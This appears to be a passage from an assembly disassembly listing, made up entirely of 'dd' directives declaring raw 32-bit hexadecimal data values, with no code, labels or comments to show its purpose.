		dd 0A84429FCh, 61150E19h, 79CE6D22h, 0A94C75C7h, 7280EAE3h
		dd 4500BDF4h, 62C60EA5h, 12D9A97h, 2B761920h, 0FC776326h
		dd 0B0A29F6h, 0A0330786h, 0C5755A80h, 0FEAAF16Ch, 9CED00E1h
		dd 11C121CEh, 9771364Ch, 940EFE2Ah, 0F461E1F6h,	84610808h
		dd 0E049D182h, 0C48275Bh, 18A0FFB9h, 0B0181174h, 27101351h
		dd 0DC19C0E1h, 96C83631h, 0BF9D5800h, 0A87670B1h, 3F010392h
		dd 6F9CAA2Ah, 3115C683h, 0B4DB5Bh, 18EB82CCh, 51D1FEh
		dd 0FAF074EDh, 80B28E36h, 9F59CD03h, 0E45886h, 5E027B31h
		dd 0FEAEF7B7h, 0FC9C8200h, 0B0B273A4h, 0BE46061Fh, 690C2741h
		dd 0BB561201h, 0D4A6AB2Fh, 5E765480h, 47C62614h, 10017E7Dh
		dd 1993DE09h, 0F080D323h, 768EFB90h, 0C560E486h, 2F92CD48h
		dd 907B5411h, 53D00F4h,	0CCDD4813h, 1206F917h, 0E36D2EEDh
		dd 29080479h, 0EAD903BEh, 0A7D32DC0h, 1AE801F2h, 0FF87369Dh
		dd 11D85556h, 278DCD8h,	15129319h, 6AE15CA9h, 1FB042B8h
		dd 45679D80h, 0D900C23Eh, 3656FD78h, 0EEE161ABh, 1320357h
		dd 0C76D305Ah, 0EC808100h, 7783EE55h, 9FC12h, 0F1FD59BBh
		dd 0C2422F95h, 6EABBD01h, 4C38117Eh, 0F509E850h, 0ED99C052h
		dd 59260380h, 18FBB912h, 8FDD9C42h, 0FE0C4874h,	61F102FFh
		dd 0A15D930h, 0FA70F940h, 41D14567h, 963D6931h,	1DF670h
		dd 9328A384h, 0E1870765h, 909F8902h, 80B6E42Bh,	1379A887h
		dd 0AC95007Dh, 0E104DA7Eh, 9300BA23h, 269A067Fh, 0A3B256Bh
		dd 349B15DBh, 0D45F04h,	1D4021C8h, 4ADA3846h, 0E26C0A18h
		dd 3EE49E20h, 31E073A5h, 1156B1D4h, 0E1A86606h,	3009BC8Fh
		dd 7420DA8Bh, 0FB01552Ah, 4A75B55Dh, 16CC0958h,	6041C13Eh
		dd 8098C8D1h, 74B31378h, 0E8AE80h, 0AA383B7Fh, 2F1EEBFCh
		dd 0D66D490Fh, 6E59B98Dh, 73A2DE0h, 3D7D54E1h, 2BEBF040h
		dd 4160428Fh, 0DF893051h, 977530C6h, 1F6850D9h,	66964203h
		dd 0E8127D07h, 4AD627Ch, 606B29D3h, 476F0732h, 0C00D45C1h
		dd 4AB88910h, 0B9C33DFAh, 0A414F149h, 4369031Fh, 7978C9ECh
		dd 0CE700C50h, 998EBC05h, 0B040B523h, 3C587041h, 2C4D001Fh
		dd 0F6D90AE1h, 791CFE40h, 0FF4FE5E6h, 9E2BC12Dh, 49803A32h
		dd 37F19614h, 0C700A407h, 9E2FED47h, 186785FBh,	88BE344h
		dd 8A08609h, 0E07CDDC0h, 74B8B257h, 7A217007h, 3AE03B6Ah
		dd 608E6DBDh, 0D2BB2039h, 5201E31Dh, 1B4107B3h,	0D2D3FE83h
		dd 8A09033Bh, 63F12ED0h, 8601147Fh, 767CF8C0h, 9CD421A9h
		dd 0DED2A44h, 0C4E4028Ch, 964BC79Eh, 5C842B00h,	0B0CA00AEh
		dd 0EEABBAB8h, 8307AA6Fh, 0BF342252h, 3BADC9C0h, 71462A78h
		dd 51010098h, 46CC285h,	3C006F8Ah, 0DA13318Dh, 4B07625h
		dd 5B58D13Eh, 0E32489CCh, 0B23AAE0h, 21787200h,	0E79BF6C0h
		dd 0EE4137BFh, 0B85FB2F8h, 0B9FCAB80h, 0CBFC89B4h, 5783748h
		dd 413E7C2Bh, 118A9840h, 60AD8178h, 9D73916Ah, 48FECE14h
		dd 2710B207h, 4C406BE6h, 2DB502h, 13FBA4E7h, 694D8EC8h
		dd 75A5E506h, 7416C46h,	25675B05h, 0ED4B6129h, 442080BFh
		dd 0C00E170Ah, 0DDB400D2h, 7BD3638Bh, 5902499h,	92B9313Dh
		dd 485EC325h, 4F0090E9h, 0EE48E8F3h, 8D9400D9h,	1ADE595Ch
		dd 0C8334ABDh, 0FDACC945h, 6C2AFC71h, 1D04D30Ch, 0FE8AADDCh
		dd 134BC31h, 0BE88D56h,	0ADC6314Bh, 50134279h, 0FB0668F4h
		dd 0C998E800h, 9CFEFAE7h, 371B009Eh, 0C5636784h, 6D0E570Dh
		dd 0E40B9630h, 4888B04Ah, 77BF0114h, 0C1646E39h, 8CAB7055h
		dd 1650C00h, 0E64349E5h, 1B209257h, 393CE14Ah, 0C044F0EAh
		dd 626FED14h, 5CF5189Ah, 93F1321h, 9AF07E4Dh, 0D9DF1000h
		dd 4A00C750h, 0C5D60257h, 270F298h, 0DE98DBAh, 844C6E3Ah
		dd 0A81DB702h, 18082B52h, 4A803553h, 1E7F490h, 3ADCD35Eh
		dd 22CD198Ch, 96F0E74h,	0A8D6A0EEh, 2518Ah, 0A12E88ADh
		dd 0E3E09341h, 39C07C14h, 1AC851E8h, 3304C4CCh,	0F030F931h
		dd 920086CCh, 76978474h, 736642BEh, 6D9E186Ah, 0F2345133h
		dd 0CF00F890h, 9C8B396h, 56B5ADEh, 0F5C7D32Bh, 13CC843h
		dd 3EAA9700h, 0A74A083Dh, 22B77433h, 7500380Fh,	0C9C6B232h
		dd 8BBBE62h, 983B423Ah,	0B71B5E00h, 0E50C581h, 0DE4AAA32h
		dd 119C4851h, 0A24983Ah, 0EBC34104h, 6D42FCE6h,	0CEC8C949h
		dd 0AA8BCFA6h, 3584F816h, 1480F811h, 24E56655h,	15B45054h
		dd 9400C01Dh, 0FF99F878h, 0B8737EEDh, 0F566801h, 0B4C34B28h
		dd 0BBD06025h, 3E8CA830h, 7A89C040h, 85C1258Fh,	2FEF6503h
		dd 8DEDABF4h, 309F7C82h, 0E31156BFh, 7490B866h,	5602763Eh
		dd 8B6FA1E7h, 85ED9060h, 21428D30h, 77DC150h, 0C9F97739h
		dd 38B4F078h, 0C31F7AA3h, 1D4028B0h, 6D44BA9Ch,	0C495496Ch
		dd 0DFEB6000h, 3EB58726h, 0D033FE00h, 0C252F3E9h, 4BF7020Ah
		dd 194ABB38h, 0E74254C6h, 40DEA77h, 738B3AC8h, 7D5888D1h
		dd 0FDFA3203h, 0D8FBB1F9h, 7862EA0Bh, 4A27425h,	633DBEECh
		dd 1B9CC271h, 0B6003C64h, 0D0F3F266h, 1F773AEh,	3932B8FFh
		dd 30C283E7h, 79C0E6FCh, 3EDC7829h, 691100DEh, 5B1A7412h
		dd 410FF056h, 536CDB63h, 0E8C45454h, 334302h, 1651176Ch
		dd 3ABF49h, 4CC1C3BBh, 69483D39h, 25B1E360h, 141CF643h
		dd 0C8ABB46Bh, 33EC6303h, 84B0998Bh, 30C89E2Ah,	2742966Bh
		dd 0B62CA064h, 0E53B9F1Fh, 81593C84h, 0EAF5B882h, 0E0360A49h
		dd 8BCDD18h, 0E0159066h, 0C43F3Eh, 3DF44D0h, 47249FAh
		dd 8EAF48E4h, 102C81F5h, 8C00C3Eh, 5066C456h, 7F405DC4h
		dd 46C756B9h, 80A9666Eh, 0BE4E671h, 5D492F3Eh, 9C03A5F0h
		dd 42627F65h, 24C9EE5Bh, 40E0B34Ah, 48F5C814h, 49E7C530h
		dd 92996DD3h, 20DD4C34h, 513F7E0Fh, 60091261h, 682999DAh
		dd 583190EEh, 0DA5F3043h, 0D9F0096h, 4A0E5133h,	0F21FD767h
		dd 8CC14801h, 4FF5F3BBh, 7268D4h, 6D521454h, 34DA09Fh
		dd 0B858D460h, 18DD98A5h, 38463507h, 1003C69Fh,	3AB9D81Eh
		dd 80D592B8h, 0CE783224h, 518986Bh, 58F49717h, 0E61820E3h
		dd 0F6062DFCh, 400354ABh, 393800C1h, 9D7AC892h,	8B011EB4h
		dd 67F7B0A9h, 0AFE44598h, 40D80B6Fh, 400EDAB9h,	9B582BE0h
		dd 560098DFh, 0B0D78AD3h, 365A6961h, 0B98045A6h, 483B0310h
		dd 0B9DB0E02h, 9C848083h, 0D3D040E9h, 0C1D67F89h, 14B4DB11h
		dd 8B4CE082h, 30DAF005h
		dd 0C820BD46h, 0A2B8ED2h, 3C95EB68h, 0CBA704C4h, 0C584D88Fh
		dd 8CC3F804h, 1C325E75h, 0F87D012Eh, 0BBF8BA02h, 1944006Bh
		dd 3A0CAFABh, 0E0C1B41Dh, 8C526788h, 4C29B824h,	4B00AFBBh
		dd 99D7F013h, 3B006B3Eh, 12F4F231h, 0C4FB9DC9h,	0B5BBA638h
		dd 0B230DA08h, 66C21156h, 829488C0h, 2E552B8Dh,	0D7F52BC0h
		dd 54BEBF02h, 0C0A31A42h, 0B234034h, 69DA89C0h,	0C492812h
		dd 4C518B8h, 1AADDE1Dh,	35503109h, 0E89D0801h, 0C801C6C4h
		dd 21B0AB32h, 4820F424h, 0A9701AE4h, 60D84Eh, 6650BA7Dh
		dd 3A18D4E4h, 9CE0E1DDh, 2CCEEEE4h, 4C9803h, 9D6E246Fh
		dd 8B001C67h, 5C51E854h, 0BCD552Dh, 0B8F2BC08h,	0E2307583h
		dd 439F8800h, 0AA4C9225h, 0D7B00187h, 0C81F79DFh, 0B93AFCCDh
		dd 0E0000371h, 4F459611h, 0B5B3C0h, 0C26B7FFh, 622A15CFh
		dd 4A25A900h, 69AC1A80h, 1B880076h, 0BC361492h,	65077109h
		dd 0A416CC79h, 0D30D5F60h, 0D1D40FBEh, 4460113Eh, 952B4B5Ah
		dd 5517BF00h, 3662BCEEh, 91F83F7Fh, 0C092DB00h,	0F7826348h
		dd 21C27A07h, 36701A07h, 626AA4h, 6CDE06ACh, 3ACCF785h
		dd 540048F4h, 0BB4AF990h, 0C566D2h, 52269A11h, 0D412E17Ah
		dd 33ED8600h, 2AB3CD0Fh, 0F3D90683h, 694291A0h,	0E9DFF103h
		dd 901AC85Ch, 459511h, 271914B6h, 0F6BA4283h, 0D353E600h
		dd 32C4B921h, 2E790926h, 1E8CEEBEh, 5503BC19h, 0DB4DA635h
		dd 0CC5800F3h, 0C44B586Dh, 3D079DF1h, 8FE43017h, 0CFB7A430h
		dd 0B11200B2h, 7D64CD01h, 0B900BF35h, 0D01B4BB4h, 1D96E63Eh
		dd 83A15255h, 175FAFA2h, 0CD67A690h, 0EF1D2918h, 358FC1h
		dd 0B74B38A9h, 3768624h, 97C74300h, 0C1DE66ACh,	0FDB2006Ah
		dd 0FEC5D9D1h, 9E01295Dh, 21DCFA95h, 4BECC1BBh,	0ABAC2849h
		dd 18D0F48Ch, 0D90E42F7h, 0B53868D1h, 0F6307AEAh, 8E3FB1E3h
		dd 0E881E9D0h, 0F3B078BDh, 0A4108ECCh, 0A5D7A320h, 6050EA91h
		dd 0E02B2CE8h, 606738F2h, 0EC22EF80h, 0A816F0A3h, 0F96DB03Dh
		dd 44987200h, 0D1C4F9C0h, 0FCC100FAh, 705292E9h, 6C1FFE41h
		dd 0ED0785FBh, 6FC7E586h, 771CA810h, 0F33600B8h, 6A1B2378h
		dd 0D20C2552h, 813D1F1h, 4E21C0DEh, 0B9E81BAAh,	886D400Eh
		dd 0A14838E9h, 0DF20C020h, 0FF3A38ADh, 0E00C6A0Ch, 58399Dh
		dd 7F81D343h, 6CA52FF5h, 0A940F150h, 1BE0048Ch,	620D5241h
		dd 3B4520E2h, 5807B021h, 0A9E65760h, 83B02FF7h,	392E452h
		dd 6F1AF94h, 54C0FAE8h,	22FE6B51h, 153310C0h, 0A5A43Eh
		dd 342FEACh, 0AF9E1190h, 0E70043E2h, 0D94B0AE0h, 6D30B5h
		dd 8E5F4E08h, 0D42DF04Fh, 874A8900h, 165BD747h,	8B4424D8h
		dd 45EA0051h, 0BCCDE986h, 7300C572h, 3D0A8F59h,	0E53BAEh
		dd 27375D7Bh, 1DEE18DDh, 36909800h, 6F0E1CAFh, 3C57E2CCh
		dd 0C1802250h, 4FFB3B5Ch, 2D07E769h, 6A41B577h,	7BA434C0h
		dd 0BD801BFh, 453EE24Eh, 5AD7C425h, 2B40A30Eh, 81409850h
		dd 0E149C0B5h, 0D276C4FCh, 2585BB1Eh, 51D1D84Ch, 7893005Ch
		dd 4EB037FFh, 0C41EBC50h, 4A803E84h, 36FEF404h,	66630155h
		dd 0E040E14Bh, 44A453DEh, 51F313E0h, 409D58F8h,	380FAC1h
		dd 0B5C13A57h, 8100FBCFh, 39DB4E73h, 0F1D9CAFCh, 77B87980h
		dd 2F3A34B7h, 6FA7D800h, 29866975h, 8839C015h, 71B8FF1Eh
		dd 0DD2B2D0Eh, 0D64081ECh, 17C70BF0h, 87FA78h, 0A35F9EF3h
		dd 0C12B6001h, 915804A9h, 8B48CA5Eh, 0EFF67004h, 0CE3E8FF8h
		dd 152C04F0h, 0D4206311h, 0C8109765h, 4F2801A7h, 884651Ch
		dd 8387C70Fh, 58E572DCh, 0F7AC1820h, 265E6601h,	0E685019h
		dd 1001E741h, 0B05009B1h, 19318A14h, 0A70C4CA0h, 30A80950h
		dd 1E19EF01h, 39DDA927h, 87906954h, 50CA2217h, 421094CEh
		dd 0F9CF1460h, 3D044608h, 6BED9FEFh, 39444814h,	0DC8E6E4h
		dd 1CA153D1h, 98DE4F03h, 84291C0h, 14F7280Ch, 4CA0D9F8h
		dd 40F8B50Bh, 4BF140A6h, 0D480050h, 6E6F6053h, 73A0296h
		dd 5DFA37C0h, 8BC5F27h,	34F03BEEh, 0F18FC188h, 175AFC21h
		dd 3418D604h, 2710F69Bh, 50C4A4B6h, 76C2BCh, 0BE5AF4D5h
		dd 98E52C4Bh, 68AD551Ah, 9D796041h, 0B83A09C6h,	60201FA2h
		dd 89976A8Eh, 8C5AF624h, 1EC75030h, 0C58C38Ch, 4900FDA4h
		dd 0AB403358h, 98C0DCE2h, 18D3744Fh, 609FF049h,	8F18DBE5h
		dd 0F311EBFFh, 680E006Ch, 1D531061h, 69C321CAh,	0A4A595h
		dd 9D242A49h, 0CF5C3B43h, 8CC44007h, 5347DFA0h,	0BF596940h
		dd 0D527019Dh, 265A17DEh, 505441B5h, 9B65F903h,	0C32C8A08h
		dd 6C7F1CBh, 48BA4025h,	8F089F30h, 0F5007DA0h, 0B462EC86h
		dd 70E35D30h, 977C041Bh, 0C01E4728h, 5E9BF6B9h,	0B865A300h
		dd 0F21BD32Fh, 19B51514h, 7EC4A1h, 4D3D3CDCh, 0FD91ABF0h
		dd 0E8644637h, 0AED03590h, 182A0CF3h, 5589096Ch, 0B8E58901h
		dd 0E6DB2778h, 0B41FC180h, 0CA6C1BADh, 0D50BB8A8h, 6B6D1815h
		dd 0CDF07ECh, 45EEA090h, 0F800BAD6h, 1C5584DBh,	0DAB7C37h
		dd 4B6D1D49h, 0EEE19831h, 7F02EF08h, 0F3EC7C6Ch, 496F8h
		dd 32FED5Bh, 0AAA555FFh, 100EA228h, 0B0C5DE28h,	0E93FFA30h
		dd 508FD01Fh, 0E887B068h, 9D3130C7h, 152AFA68h,	400970EBh
		dd 0A9D3C200h, 6BA4617Ch, 572C9073h, 1067A826h,	0F3C97B8h
		dd 409C4502h, 9002A862h, 94AE23C7h, 0E6FADDC0h,	0B8A5D7EAh
		dd 624EE508h, 49015A73h, 0FB00A4F2h, 4005DA57h,	8ACD26ECh
		dd 0D0EE73C3h, 7B2A982h, 0B5A40194h, 5E5F2321h,	0BD955801h
		dd 0EAB36ADh, 81F2C440h, 257F92h, 9C01192Eh, 2814A27Fh
		dd 0E9242C04h, 1486220Dh, 77950168h, 85E4D761h,	0E95C7035h
		dd 505D4824h, 0D0C0BB0Ch, 0D5941667h, 0B32C40A1h, 657DA473h
		dd 0E268C49Ah, 4E0CB8E0h, 21E30C3h, 615B8ED8h, 0D04A23E7h
		dd 5C16D800h, 170ABA0Bh, 8C216EFEh, 406279E2h, 496B43D0h
		dd 0F32AB8DAh, 36BC0CA8h, 0DE30F538h, 1C5A841Ch, 8A666D44h
		dd 65CF309Ch, 244A9F7h,	0A15AA88h, 9820544Bh, 4CA41499h
		dd 0EE206073h, 0A8A8B570h, 0E9F61161h, 0AD959603h, 0C8C1E3F2h
		dd 31DFA67Eh, 43408488h, 8EA3005Eh, 6D580315h, 8C78C776h
		dd 29959131h, 26107CF9h, 1C543BDDh, 870A0B88h, 0A4A0490Ah
		dd 1B7E5822h, 27C27802h, 0A75ACCB5h, 0CDA07548h, 1F21C29h
		dd 74FFF4D0h, 202A937Dh, 0EA3E6DCCh, 0F3290E02h, 0C7A20FE3h
		dd 85449784h, 0E2918C80h, 0D62109FDh, 0C406B2A1h, 0E503795Ch
		dd 422DDBAh, 24717ECDh,	12C844B2h, 86E03257h, 1C72CF03h
		dd 7F21939h, 88EC209Dh,	0B35C7C00h, 722ACF9h, 0A8012A94h
		dd 1B96D031h, 0A614899Ah, 158C4772h, 1EC06CE7h,	76FC2AE3h
		dd 0B1FF09Ah, 0A81EA688h, 0F08FFC0Ah, 0EFE34180h, 6E36BDECh
		dd 0AC008185h, 9F352058h, 60A76448h, 715C9878h,	1C8F0981h
		dd 0C819086Ch, 1D62F05Fh, 10E3E230h, 0EE1CBAACh, 0F4D35C04h
		dd 0C810ED14h, 9843E57Ah, 66A2D8FEh, 0BEE70227h, 0D670F69Fh
		dd 0A5C84CC3h, 904D135h, 0EE9636C0h, 90C9FE03h,	61F754F3h
		dd 75BCB4ACh, 968C0020h, 24009914h, 43737721h, 0A6FA1Dh
		dd 294B98BDh, 10C8D9A5h, 394C001h, 0A19AED36h, 0F8ADD870h
		dd 0BF27017Eh, 21AB49EBh, 964C6069h, 1CC460C0h,	0A82CC777h
		dd 3BB57D94h, 0AC80CC15h, 7F3D3626h, 0F0C30737h, 0E08FA5C7h
		dd 7D87591h, 591154A4h,	0BF450E6Ch, 0F800F17h, 28E4AE86h
		dd 677C5800h, 23C076B8h
		dd 0DDFE307Bh, 5A36FD58h, 89E1ECB1h, 9F70D928h,	0CEA76E4h
		dd 0DCE313A5h, 0B4679FD8h, 80C97C78h, 63ADFF80h, 0AAF70014h
		dd 335AF32Bh, 7067E510h, 80C01A30h, 3968AF16h, 2B964D71h
		dd 0FD88002Ch, 59B3F33Ch, 0A2F51014h, 44E70628h, 9A18B48Ch
		dd 272244B0h, 0A9B4EE6Ch, 1EA90AF6h, 40606925h,	0BA4BFCD9h
		dd 8A8A8C8h, 91012954h,	616F8645h, 8F3A9050h, 3D4B073h
		dd 0FBAFBF4Fh, 9132F16Ch, 9095581Ch, 0A8277D7Ch, 0C1646808h
		dd 7528FE79h, 16F1814Ch, 0F2FA83F7h, 54408440h,	400E6077h
		dd 0A9A4ACBDh, 0ED81D218h, 87713F91h, 7C189496h, 30862D49h
		dd 1B39B86Eh, 56393EDBh, 38890069h, 0B9FCF58Ah,	0B8A9C06Fh
		dd 0A11350FBh, 5D2631C0h, 70F6AFE1h, 22210B46h,	7C8F86D4h
		dd 39B874E6h, 0E86A9D1Eh, 6446099Fh, 3987090h, 5B67F8F5h
		dd 103F79DEh, 5C8017CDh, 73218E01h, 0C05322E7h,	94C2A451h
		dd 0EE0060ACh, 482D1315h, 91A44484h, 0B44C355h,	0EF4E1100h
		dd 20110E87h, 0B497011Ch, 0A26B642Bh, 0DB688672h, 0C1B9A4h
		dd 5FF9BFFFh, 0CCD9E0F7h, 68C2A0A4h, 0E618CA2Fh, 38B00338h
		dd 2196CC34h, 8C969877h, 9F1C5C80h, 0B0A914C4h,	22920A2Ch
		dd 0B0F889h, 844FC26Dh,	50002495h, 9D1E2D01h, 1F8632CDh
		dd 666C1362h, 0CB708A40h, 0CB72F040h, 0A391963Fh, 0C7DE87A0h
		dd 34858B14h, 4B2890FAh, 0C07117DAh, 92405D5Ch,	72F9AC04h
		dd 54749C0Fh, 3CFB1062h, 59298D86h, 6C9C05E0h, 406FFD0Ch
		dd 352F4CFEh, 0CA17702h, 8048F0A4h, 6AF66CF5h, 0D8AE6344h
		dd 6B6F18C9h, 7F352184h, 191C5B00h, 0AE5522h, 95505382h
		dd 0D8431890h, 7DE1C200h, 51BCFFE4h, 0DA4B608Ah, 0BAA172EEh
		dd 6A88100h, 0A0B27C99h, 496300C6h, 0D37E4E0Dh,	0CC13EB71h
		dd 4409D472h, 201C025Dh, 1E1CC87Dh, 51863060h, 0ED0126F1h
		dd 0EF00F092h, 111EA18Ah, 0B0771A2Fh, 9DCF2E08h, 231DB814h
		dd 0B117C11Dh, 0BF533D05h, 46EF8439h, 0D8927643h, 3DE2C0BEh
		dd 1C0BE2F3h, 0CC5BDF55h, 0C121524Fh, 0E927BB00h, 7FD3E85Ah
		dd 0A05C0940h, 0F44812CBh, 2B00664Eh, 0ED8E136Bh, 36C07EFh
		dd 2917617Ah, 9DBAE34Bh, 0A10A6C0h, 59804730h, 0CD01D1h
		dd 0FD160C18h, 0C25EFFA2h, 8E592A03h, 801CEF71h, 608AE010h
		dd 9E0A69DCh, 0DA00ED3Ah, 837880B2h, 3623932h, 0CFA71989h
		dd 56910E8Ch, 6920D061h, 982D9780h, 90DDE03Ch, 0E7C600ECh
		dd 98B57786h, 4AEAF2FBh, 0D8285DB0h, 0E0003419h, 4F9BC6E9h
		dd 9F682Bh, 7A9A18F2h, 0F9D70237h, 0FCF08AEAh, 0A448EE03h
		dd 1FB17099h, 24D18038h, 0B490610h, 2900E97Ah, 7BB05DE1h
		dd 0A0D68095h, 2384993h, 0CCE85B94h, 0FC81E5CEh, 20247B68h
		dd 0F2585D70h, 39E00A8h, 905FA2E6h, 6E4D348Eh, 0C9BC81A1h
		dd 1AA4307Fh, 0B2E43F0Bh, 7C2800F2h, 18752A37h,	20657E1Bh
		dd 0CEE07A91h, 6BC9E024h, 9B422021h, 3BB63074h,	5809E092h
		dd 91DF5B7h, 0AC4180C0h, 0EE1AFAE6h, 0DFE20489h, 0A0DE28B5h
		dd 8C945E60h, 0D14FCD60h, 92D9038h, 0DCF6F833h,	2A6EC8A0h
		dd 0FD543643h, 9A7776C8h, 4F68C101h, 0B6755004h, 60FCCACEh
		dd 1A325F3h, 0ECC90CA4h, 0D1BEE270h, 9621802Ah,	0E31D24D7h
		dd 7E93036Bh, 48C2BC4Dh, 0C40091D2h, 119492h, 3350682h
		dd 9B0428B9h, 7730B1C0h, 0B18CB60h, 69B51C1Ah, 3A1F6CA0h
		dd 99021075h, 6B3E9ECDh, 61C882CCh, 5A2C46D8h, 7C3C41C3h
		dd 2919E027h, 0BCFE0118h, 0C28035Ch, 91F69CCh, 567B0ABh
		dd 0BFD9C440h, 42265C1Ch, 80588C09h, 59DAC0C2h,	5D070068h
		dd 89F5228Ah, 0A30BB542h, 885C6F3Eh, 215C34D0h,	9A805ACCh
		dd 6F63203Fh, 1CD1094Ah, 8480B214h, 0AD5B5D2Ch,	0CFF09209h
		dd 0D8089849h, 0F2A6262Bh, 4208A404h, 9E00A0C3h, 2D2BD0h
		dd 0E53BC71Fh, 76C4D7E8h, 5CFD5000h, 0E220A56Ch, 0B25F141Dh
		dd 7810AC1Fh, 80303DC3h, 0F834F7ADh, 0C10B7A2h,	0F6F328C0h
		dd 1E0A61D1h, 0ACA14CD9h, 9762D764h, 64629C8Fh,	788967AEh
		dd 0CDB47048h, 0CA109004h, 8EC29352h, 801A410Ch, 5F4E031h
		dd 0F62D1CE5h, 13CC6E8Eh, 9E0480C6h, 8A00422Eh,	43DFEE6h
		dd 7698B84Ah, 0A8A3164Bh, 0BEC0428h, 61C1017Dh,	0A865295Dh
		dd 1D266BE0h, 16F935h, 0A59B01FAh, 754BFECCh, 8DDA0400h
		dd 3E53DD2Dh, 0A8023AE6h, 21643804h, 6FECC4A0h,	0AC4030D1h
		dd 0D9388CA0h, 0A3F2882Bh, 0E0C86957h, 15FED19Bh, 6987BB58h
		dd 32F800C9h, 59953EEh,	7222368Ah, 0BAA03121h, 0DCCAF75Ch
		dd 9D04184Ch, 319661BBh, 2BF1EAC0h, 352C0344h, 0C0B8091Dh
		dd 0FC929AB9h, 53004164h, 0FA1EE9D6h, 69B99Bh, 61E0F596h
		dd 0F0198818h, 72044E00h, 0A8E1CFEAh, 0D50E0074h, 0B962BE4Fh
		dd 9E004354h, 5879F0F9h, 0BD32BFCBh, 0D1612800h, 8000AB67h
		dd 0B77B9BF5h, 0A8E39Dh, 0B538687Ch, 3CC51F24h,	9660F21Dh
		dd 0D5369FC0h, 7BE38629h, 88D11F71h, 0C8B5D877h, 0D5E67824h
		dd 0C9F44D0Fh, 18BE8C3Eh, 5E7BFDh, 94E8918Ch, 7903BCCBh
		dd 410D950h, 80135C3Ah,	91EA3DA7h, 57BF8AA5h, 0E5009090h
		dd 4C0365C1h, 5B72777Eh, 61BF2601h, 1E2E3036h, 291B80BCh
		dd 1BE0089Bh, 8400408Eh, 6DCEFD15h, 3F3C4ED2h, 0F7804A73h
		dd 0E4180EA2h, 4500C8E1h, 8380EE95h, 31D05A66h,	68F1624Eh
		dd 29BAD0D6h, 28AE6D00h, 93155DB0h, 0D7AA0087h,	0BFD0527Bh
		dd 5648D624h, 1E330080h, 2DBBA8E6h, 7AD5000Fh, 70FCFDD2h
		dd 240E91C8h, 80C64B3Ah, 5362C3AFh, 0DC96072Dh,	800DB8A8h
		dd 8FA3474Eh, 0DDAEF524h, 6AB3800Eh, 9C7820A6h,	18E743F0h
		dd 0BF28CEA5h, 2EBB0E51h, 4B8058BAh, 36BCA971h,	602B6200h
		dd 0AA379365h, 7494A025h, 9676C4h, 0DD75D05Bh, 5453CA7Ch
		dd 982C1124h, 0AACC9300h, 383FC862h, 0E68C1096h, 0DA6842E1h
		dd 70904430h, 0D0738Ch,	0F3BCA726h, 824C6F5Dh, 8DCA2F01h
		dd 0D94D2A21h, 7C757280h, 6798EBA6h, 0F23A3Eh, 0CF9085D1h
		dd 0F948DCh, 4EB8680Dh,	38587A9Bh, 0A1D74F00h, 652F49F6h
		dd 0FDB857h, 0B4276C9Dh, 1015FF67h, 6AA6F400h, 4EC0240Ch
		dd 0B90901D5h, 0B58E261h, 0F0ED3076h, 6E37430Ch, 0C36D100Dh
		dd 0F6A88A09h, 997E1000h, 9ABA16A4h, 9C0C03EBh,	0BF15A529h
		dd 0AE05E5C0h, 0ACB3FC03h, 0E0D03616h, 356BDh, 0EE225ACEh
		dd 271C5558h, 2EB5B700h, 674DF775h, 0DCDA00F8h,	7672AFBBh
		dd 1F008BE2h, 0FF895505h, 9D5CB3DEh, 5E77FFD0h,	0A65DB100h
		dd 4323B446h, 827000B2h, 0CC54669Ah, 0E9002B59h, 458667C1h
		dd 18BF635Ch, 0B49BAAE4h, 0E2005B8Eh, 0DB034036h, 1FD94B76h
		dd 8083AC2Fh, 0B30695F6h, 0B707ADEBh, 0E940AEBDh, 3687A6F7h
		dd 82A73B00h, 7650080h,	0E8D6B3CCh, 0BB001981h,	4CCA3DB7h
		dd 0E59EEE1h, 0A892701Ah, 7CC036E0h, 0FE00DE0Eh, 8814A586h
		dd 380CDBD8h, 2F00B531h, 0C7B1ACE7h, 500C341Fh,	0A0325105h
		dd 34775AAh, 7B4A48Ah, 18D65385h, 0EA982A00h, 5054CC9Dh
		dd 55D90056h, 0FF6B1BB7h, 0D1008FB8h, 0FE2D4828h, 0B064A3C9h
		dd 80EF00D5h, 5DC02713h, 74001795h, 71509EE7h, 74C8F43Bh
		dd 0F29A00E1h, 89B24511h, 480017E8h, 0B304F8EFh, 2CBFBB14h
		dd 30D250h, 24CEC5BEh, 3B006242h, 9E2C21DBh, 0F7DF32h
		dd 0B8FE4074h, 0EE46BF4Dh, 4001998h, 1775A2E7h,	124A1A3Dh
		dd 1E6F4448h, 0ABD628h
		dd 93A75BB4h, 1C508E43h, 3B00AC9Ah, 0A6502F11h,	0FF2CEB7h
		dd 95A33FD6h, 0EEE9003Fh, 0E01410FAh, 0DD79BA00h, 0C19E624Dh
		dd 0FEC848CDh, 28988D0Fh, 8DE50Ah, 0B5BA9994h, 24098C4Eh
		dd 0C073F5CFh, 0B61A8Eh, 92742E08h, 7145B432h, 0AE78C603h
		dd 0C0102641h, 13BB2Dh,	32C188DEh, 0EC4F7CD5h, 0ED82F900h
		dd 95E9EEDDh, 93A61872h, 0B4F8AA64h, 0BC3A4CF8h, 0C1799FFDh
		dd 40F782C0h, 3C49694h,	9D708B5Bh, 22E0A649h, 0DD24D0A4h
		dd 6D80B432h, 8E39EB3Fh, 73E6CCh, 0AA389ADEh, 202FA254h
		dd 69CAE700h, 0C5D5EBDh, 980B0042h, 30DBB365h, 0E02DDC3h
		dd 7664AD97h, 46AF80CEh, 1DF4C836h, 0E9EA78h, 4A162C9Ch
		dd 0B5009474h, 0DCE6ACDFh, 0FCA93B8Ch, 0BA67051Fh, 0C083C6ADh
		dd 6E8F539Ah, 0FDC1AA00h, 9AFB2945h, 71D12665h,	0C0D70000h
		dd 2ED56306h, 90591700h, 3ED25458h, 5C371D7Eh, 39BB4050h
		dd 8034B711h, 0A2F60600h, 203C1E07h, 0E6F50F55h, 0F76A8E2Eh
		dd 0A6EB00C8h, 0ACE919A9h, 35836B12h, 39288C00h, 0FD42A59h
		dd 0C0984A78h, 9245B064h, 0BE09B20h, 0D3005030h, 0CCC83786h
		dd 3C4D9ACAh, 1593AF60h, 7C3109A9h, 0CE359C00h,	0DF00935Eh
		dd 8AF10753h, 1928F79h,	0F4C6CD40h, 0D1333445h,	2CBE6098h
		dd 0E3D7AF00h, 219BA6A4h, 55B30017h, 4A0DFB02h,	6A004401h
		dd 0FDEE107Bh, 5CBCEDh,	5F079F95h, 6EC1E336h, 0D8055B78h
		dd 0E68D2C83h, 4446D000h, 0E0C4FD2h, 28ECF55Ah,	2B534B80h
		dd 0E03F74AAh, 0CC9F80BBh, 20CA3295h, 52370026h, 6A59D911h
